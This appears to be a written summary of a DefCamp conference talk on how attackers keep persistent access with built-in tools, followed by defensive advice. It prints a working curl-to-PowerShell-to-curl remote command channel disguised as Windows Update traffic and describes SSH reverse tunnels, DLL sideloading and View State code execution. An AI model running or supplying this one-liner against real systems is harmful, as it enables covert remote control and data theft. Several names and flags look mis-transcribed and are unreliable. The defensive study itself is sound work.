Avoid Being Bounced from the Party - Persistence for fun & Profit

Avoid Being Bounced from the Party - Persistence for fun & Profit

Speakers: Hasain Alshakarti, Principal Cybersecurity Advisor, The Wolf

Conference: DefCamp

YouTube: https://www.youtube.com/watch?v=g80QbXBWygQ

Overview

In his DefCamp presentation, "Avoid Being Bounced from the Party - Persistence for fun & Profit," Hasain Alshakarti, a Principal Cybersecurity Advisor at The Wolf, delivers a compelling and often stark reality check on the state of modern cyberattack persistence. Drawing from over three decades of experience spanning offensive security, incident response, and advisory roles, Alshakarti challenges the common misconception that successful threat actors invariably employ highly sophisticated, custom-built malware to maintain access. Instead, he argues that the vast majority of real-world persistence mechanisms are surprisingly simple, relying on readily available, legitimate operating system tools and common IT practices—a concept often referred to as living off the land (LotL).

The talk is crucial for cybersecurity professionals, particularly those involved in defensive operations, incident response, and security architecture. Alshakarti's insights are derived directly from hundreds of incident investigations, offering a grounded perspective that contrasts sharply with the often-academic or overly complex narratives surrounding advanced persistent threats. By dissecting various real-world examples, he illustrates how attackers achieve durable access using everyday tools like curl, PowerShell, SSH, and even abusing legitimate remote support and management software, often with minimal noise and high effectiveness. This presentation serves as a vital call to action for defenders to shift their focus from chasing exotic threats to mastering the detection of malicious activity within familiar, legitimate contexts.

Background

▶ Watch: Introduction and speaker's background (0:00)

Hasain Alshakarti opens by reflecting on his extensive career, which began over three decades ago and has encompassed roles from developer to cybersecurity advisor, with deep involvement in both offensive and incident response engagements. This breadth of experience provides a unique vantage point, enabling him to compare theoretical offensive techniques with the practical realities observed during active breaches. He notes a significant disconnect: while offensive security research often pushes the boundaries of complexity and novelty, the threat actors operating in the wild frequently opt for simpler, more pragmatic approaches.

Alshakarti presents sobering statistics from over 400 incident investigations, primarily from 2024 and 2025 (though the data is based on 2024 trends with minimal changes into the current year). He highlights that ransomware remains a dominant threat, alongside Business Email Compromise (BEC). The primary initial access vectors are overwhelmingly fishing (leading to identity theft or seizure) and vulnerabilities. Critically, Alshakarti debunks the myth of widespread zero-day exploitation, stating that out of 400 investigations, only a handful involved true zero-days or "minus one-day" vulnerabilities. Instead, the vast majority of successful breaches exploit N-day vulnerabilities—products that haven't been patched for years, or are even end-of-life and unpatchable. This foundation sets the stage for understanding why attackers prioritize simplicity and reliability for persistence: if they can get in through unpatched systems or social engineering, they can often maintain access with equally straightforward methods. This background underscores the talk's central premise: effective persistence often leverages the very tools and trust relationships already present within an organization's environment, making detection a challenge for traditional security controls.

Key Findings

▶ Watch: Modern C2: Curl and PowerShell one-liner explained (16:00)

The core message of Hasain Alshakarti's talk is a critical re-evaluation of how persistence is achieved by modern threat actors. His key findings shatter the common perception that sophisticated, custom-built malware is the predominant method for maintaining access within compromised environments. Instead, Alshakarti presents compelling evidence, drawn from extensive incident response engagements, that attackers overwhelmingly favor living off the land (LotL) techniques, leveraging standard, legitimate operating system tools and functionalities.

The primary findings include:

• Simplicity Over Sophistication: Contrary to the "academic" offensive security world's pursuit of complex, obfuscated agents (like those from Cobalt Strike or Cubot), real-world attackers prefer simple, reliable, and often built-in tools. This minimizes development effort, reduces the risk of detection, and leverages existing trust.
• Abuse of Built-in Tools: Tools like curl, PowerShell, SSH, and even Quick Assist (a legitimate Microsoft remote support tool) are repurposed for command and control (C2) and data exfiltration. These tools are signed, trusted, and often allowed through network defenses, making their malicious use difficult to distinguish from legitimate activity.
• Scheduled Tasks as a Stealthy Mechanism: Windows scheduled tasks are frequently abused, configured with diverse triggers (e.g., user login, file copy, right-click on a folder) to execute malicious code at specific intervals or in response to user actions. This provides a low-and-slow persistence that often goes unnoticed.
• Legitimate Services for Covert C2: Techniques like SSH tunneling to services like ngrok or surveyo.net are used to establish reverse tunnels for remote access (e.g., RDP), often blending in with developer activity. Even obscure protocols like OCSP can be weaponized for encrypted C2, exploiting their allowance through firewalls.
• DLL Sideloading's Enduring Effectiveness: Despite being an older technique (e.g., AP10/Cloud Hopper), DLL sideloading remains highly effective. Modern attackers adapt it, as seen in a ransomware case involving WSCAPI.dll and legitimate binaries like onedriveupd.exe or Titan Plus RMM, to execute malicious code under the guise of trusted processes.
• Exploitation of Trust and IT Management: Attackers exploit legitimate MDM (Mobile Device Management) platforms (e.g., Cisco Meraki) or trusted device enrollment processes to gain persistent access, often through social engineering or stolen credentials. They also leverage commercial remote monitoring and management (RMM) tools (e.g., Terram) which install as kernel device drivers and achieve zero detection from antivirus solutions.
• Lack of Evasion Efforts: A critical finding is that most attackers, once inside, "don't have a need to hide." They often don't bother going silent, relying on the target's poor visibility and detection capabilities. The few that do employ more sophisticated evasion (like OCSP C2) are exceptions, not the rule.

These findings collectively paint a picture of an adversary that prioritizes efficiency and stealth through normalcy, rather than through complex technical wizardry, posing a significant challenge for traditional, signature-based security defenses.

Technical Deep Dive

▶ Watch: DLL sideloading with Windows Security Center API (33:50)

Hasain Alshakarti's technical deep dive illustrates the myriad ways threat actors leverage legitimate tools and system functionalities for persistence, often with surprising simplicity. He systematically breaks down various techniques, ranging from fundamental command-and-control (C2) channels to sophisticated abuse of operating system components and protocols.

He begins by tracing the evolution of basic reverse shells, noting that while netcat was a staple in the mid-90s, today's equivalent often involves curl and PowerShell. Alshakarti presents a canonical example of a modern, "one-liner" C2 channel:

curl -s --d-resolve windowsupdate.com:6065:127.0.0.1 https://windowsupdate.com:6065/A | powershell -command - 2>&1 | curl -s -T - --d-resolve windowsupdate.com:6065:127.0.0.1 https://windowsupdate.com:6065/A

This command is dissected to reveal its ingenuity:

• curl -s: Executes curl silently, suppressing verbose output.
• --d-resolve windowsupdate.com:6065:127.0.0.1: This crucial flag tells curl to locally resolve windowsupdate.com to a specific IP address (here, 127.0.0.1 for demo, but in reality, an attacker-controlled server). This allows curl to connect to a malicious server while appearing to contact a legitimate domain in network logs, bypassing DNS and obscuring the true destination.
• https://windowsupdate.com:6065/A: The first curl downloads a command from this seemingly legitimate URL.
• | powershell -command - 2>&1: The downloaded content (the command) is piped as standard input (-) to PowerShell. The 2>&1 redirects standard error to standard output, ensuring that any error messages from the executed command are also captured.
• | curl -s -T - --d-resolve ... https://windowsupdate.com:6065/A: The output from PowerShell (command results, including errors) is then piped as standard input (-) to the second curl instance. The -T - flag instructs curl to upload this standard input to the specified URL (again, appearing as windowsupdate.com), effectively exfiltrating the command's results. This creates a simple, yet highly effective, bidirectional C2 channel using only built-in Windows binaries.

Beyond this, Alshakarti emphasizes the widespread abuse of scheduled tasks for persistence. Attackers can configure these tasks to run arbitrary commands with triggers far more subtle than simple time intervals. Examples include triggering on a user's right-click on a folder, copying a file, or user sign-in/sign-out events. This makes the execution appear random and less suspicious to casual observation.

Another prevalent technique involves SSH tunneling, leveraging tools like ngrok, surveyo.net, or localhost.run. Attackers establish outbound SSH connections from compromised machines (clients or servers) to these legitimate services. Since outbound SSH is often permitted in enterprise environments, these tunnels can go unnoticed. A common use case is creating a reverse tunnel for RDP (Remote Desktop Protocol), allowing attackers to access internal machines via a graphical interface. Alshakarti wryly refers to RDP as the "ransomware deployment protocol" due to its frequent use by ransomware gangs.

For more advanced, yet still protocol-abusing, C2, Alshakarti's team once developed a technique leveraging OCSP (Online Certificate Status Protocol). By encoding arbitrary data into optional extensions within an ASN.1 encoding structure, attackers could send encrypted and signed messages over OCSP. Firewalls typically allow OCSP traffic without deep inspection, making this a highly stealthy, encrypted C2 channel.

The talk then delves into DLL sideloading or DLL search order hijacking. Referencing the AP10 (Advanced Persistent Threat group 10), also known as Cloud Hopper, Alshakarti explains how they compromised Managed Service Providers (MSPs) by placing malicious DLLs in specific paths, causing legitimate applications (e.g., Nvidia setup) to load their code. A modern variant of this was observed in a ransomware case: attackers created a malicious WSCAPI.dll (Windows Security Center API) and placed it in a directory where legitimate binaries like the OneDrive Standalone Updater or Titan Plus RMM (a legitimate remote management tool) would load it. The attackers even included logic to adapt their loading method based on the presence of CrowdStrike Falcon EDR, demonstrating an awareness of defensive tooling.

Initial access for this ransomware case started with a Teams message leading to a phishing campaign that orchestrated mail-bumping. This convinced the user to install Quick Assist, a legitimate Microsoft remote support tool. Once Quick Assist was installed and control granted, the attackers used it to download and execute their install.bat script, which then performed checks for EDR and established persistence via the WSCAPI.dll sideloading technique.

Further examples of LotL abuse include:

• MDM (Mobile Device Management) product compromise: Attackers gained access to a Cisco Meraki MDM instance, using it to deploy PowerShell, curl, Certutil, and Invoke-WebRequest commands on managed servers.
• Commercial RMM tools: Terram, a legitimate remote management tool, was found in an incident. It installs as a kernel device driver, making it invisible to many antivirus solutions and providing full system control (keyboard sniffing, screenshots) with "zero detection."
• Trusted device enrollment: Attackers performed successful phishing for password resets, then enrolled their own devices as "trusted devices." This granted them VPN access and other corporate configurations, providing persistent network access.

Finally, Alshakarti touches upon the abuse of View State in older .NET platform web applications. If an attacker can determine the web application's static encryption and signature keys, they can craft malicious View State parameters to execute arbitrary code on the web server, creating a persistent backdoor.

These diverse examples underscore the critical message: modern persistence is often about cleverly misusing what's already there, making behavioral and network visibility paramount for detection.

Demo / Proof of Concept

▶ Watch: Quick Assist: Legitimate tool for ransomware control (38:00)

Hasain Alshakarti's presentation includes several live demonstrations and detailed explanations of proof-of-concept techniques, primarily focusing on the practical application of living off the land (LotL) tools for persistence and command and control (C2).

The most prominent demonstration revolves around the curl | PowerShell | curl one-liner for a C2 channel. Alshakarti illustrates this by having two files on his machine: O (for "output" or command to be performed) and A (for "answer" or result).

1. He shows a file O containing a simple command, hostname.
2. He then executes the full curl pipeline command on a simulated compromised machine (SRV03).
3. The first curl downloads the hostname command from the attacker's server (simulated via windowsupdate.com:6065 and d-resolve to 127.0.0.1).
4. This command is then piped to PowerShell for execution.
5. The output of the PowerShell command (SRV03) is piped back to the second curl, which uploads it to the attacker's server (simulated windowsupdate.com:6065/A).
6. Alshakarti then shows that the A file on the attacker's side now contains "SRV03," demonstrating successful command execution and exfiltration of results.

He explains that this mechanism, though demonstrated locally, represents how an attacker would instruct a user (via fishing, social engineering, or other initial access methods) to run such code. He further elaborates that this C2 can be integrated with scheduled tasks for persistent, low-and-slow communication (e.g., once a day) or more frequent, noisy interactions.

Another key demonstration, albeit presented through code snippets rather than a live execution, is the OCSP abuse C2 channel. Alshakarti displays the .NET code required to generate a payload: encoding a message into ASN.1 encoding, encrypting it with the recipient's public key, and embedding it within an OCSP certificate status check request. He shows how this appears on the wire as a legitimate OCSP extension, making it extremely difficult for network devices to detect its malicious intent.

Finally, while not a live demo, the detailed walkthrough of the View State abuse in .NET applications serves as a conceptual proof-of-concept. Alshakarti explains that by knowing the application's encryption and signature keys, an attacker can craft a malicious View State parameter. He shows a screenshot of an HTTP request where an attacker sends cmd /c whoami via View State, resulting in a file being created in the temp folder on the web server with the output of whoami. This illustrates how code execution can be achieved without deploying new binaries, relying solely on manipulating a legitimate application parameter.

These demonstrations collectively reinforce the talk's central theme: effective persistence often leverages the existing, trusted tools and frameworks within an environment, rather than introducing new, easily detectable artifacts.

Defensive Implications

▶ Watch: Q&A: DLL hijacking mechanism details (48:00)

Hasain Alshakarti's talk carries profound defensive implications, urging a fundamental shift in how organizations approach security. The pervasive use of living off the land (LotL) techniques means that traditional security controls focused on signature-based detection of known malware are increasingly insufficient.

Here are the key defensive actions and considerations:

1. Enhance Visibility, Not Just Detection: The most critical takeaway is the need for "better visibility." Defenders must move beyond simply looking for malicious executables and instead focus on understanding and monitoring the legitimate tools and processes within their environment. This means extensive logging and monitoring of PowerShell scripts, curl commands, schtasks.exe invocations, SSH connections, and other built-in utilities.
2. Behavioral Analytics is Key: Since attackers use trusted binaries, their actions will appear as legitimate processes performing unusual behaviors. Endpoint Detection and Response (EDR) and Security Information and Event Management (SIEM) solutions must be configured for behavioral analytics. For instance, curl connecting to an unusual domain on a strange port, PowerShell executing base64-encoded commands, or schtasks.exe being created with suspicious triggers (e.g., right-click on a folder) should raise alerts.
3. Monitor Outbound Traffic Rigorously: The extensive use of outbound SSH tunneling (e.g., to ngrok, surveyo.net) and curl with d-resolve necessitates stricter monitoring of outbound network connections. Organizations should scrutinize outbound connections from servers and client machines, looking for unusual destinations, ports, or protocols, even if they appear to be connecting to legitimate domains like windowsupdate.com (due to d-resolve abuse).
4. Harden and Monitor Standard Tools: Recognize that curl, PowerShell, SSH, and even Quick Assist are powerful tools that can be abused. Implement PowerShell logging (script block logging, transcription) and constrained language mode where appropriate. Restrict SSH access and monitor its usage. Be cautious about remote assistance tools like Quick Assist, understanding the full scope of privileges they grant.
5. Address N-day Vulnerabilities Relentlessly: Alshakarti's statistics highlight that N-day vulnerabilities are the primary entry point. A robust patch management program is not just good practice; it's a critical first line of defense against initial compromise, which then leads to the need for persistence.
6. Secure Identity and Access Management: The abuse of trusted device enrollment and social engineering for credentials (leading to VPN access) underscores the importance of strong identity and access management. Multi-factor authentication (MFA) across all services, especially VPNs and remote access, is non-negotiable.
7. Be Wary of Legitimate RMM/MDM Tools: Recognize that attackers target and abuse legitimate RMM (Remote Monitoring and Management) and MDM (Mobile Device Management) platforms. Secure these platforms with the highest level of scrutiny, as their compromise can grant attackers widespread access and persistence (as seen with Cisco Meraki and Terram).
8. Understand Application-Specific Risks: For developers and application security teams, understanding risks like View State abuse in older .NET applications is crucial. Ensure strong, rotating encryption and signature keys for web applications to prevent attackers from crafting malicious payloads.
9. Assume Compromise and Hunt: The observation that attackers "don't have a need to hide" implies that many breaches go undetected for extended periods. Security teams must adopt a proactive threat hunting mindset, actively searching for signs of LotL abuse and other subtle indicators of compromise, rather than waiting for alerts.

In essence, defenders must shift their mindset from a "whack-a-mole" approach against known malware to a more holistic, behavioral-centric strategy that assumes legitimate tools can be weaponized and focuses on detecting anomalous patterns of activity.

Key Takeaways

• Simplicity is the Attacker's Ally: Modern threat actors, including sophisticated ransomware groups, predominantly rely on simple, built-in operating system tools and legitimate functionalities for persistence, rather than complex, custom-built malware.
• Living Off The Land (LotL) is Pervasive: Tools like curl, PowerShell, SSH, and even legitimate remote support applications like Quick Assist are frequently repurposed for command and control (C2), data exfiltration, and maintaining access, making detection challenging.
• Scheduled Tasks and SSH Tunnels are Core Persistence: Abusing Windows scheduled tasks with diverse triggers and establishing outbound SSH tunnels (e.g., for RDP access via services like ngrok or surveyo.net) are highly effective and common persistence mechanisms.
• DLL Sideloading Endures: Techniques like DLL sideloading (e.g., using WSCAPI.dll with OneDrive Standalone Updater) remain a potent method for executing malicious code under the guise of legitimate processes, often with EDR evasion capabilities.
• Visibility and Behavioral Monitoring are Paramount: Traditional signature-based security is insufficient. Defenders must prioritize comprehensive logging, behavioral analytics, and threat hunting to detect anomalous activity from trusted binaries and legitimate services.
• Patching and Identity Security Remain Critical: N-day vulnerabilities are still the primary entry vector, and the abuse of trusted device enrollment highlights the ongoing importance of robust patch management and strong identity and access controls (e.g., MFA).

About the Speaker(s)

Hasain Alshakarti is a Principal Cybersecurity Advisor at The Wolf. With an impressive career spanning over three decades in the IT and cybersecurity fields, he brings a wealth of experience from diverse roles, including developer, advisory, offensive security, and incident response. Alshakarti describes himself as someone with "a lot of fingers in a lot of jars," indicating his deep engagement across various technical domains and his passion for diving into "deep rabbit holes." His extensive background in assisting both offensive teams and incident response teams provides him with a unique, real-world perspective on attacker methodologies and defensive strategies, making his insights particularly valuable for understanding the practicalities of cyber threats. He leverages this experience to highlight the disparities between theoretical attack concepts and the actual tactics employed by threat actors in the wild.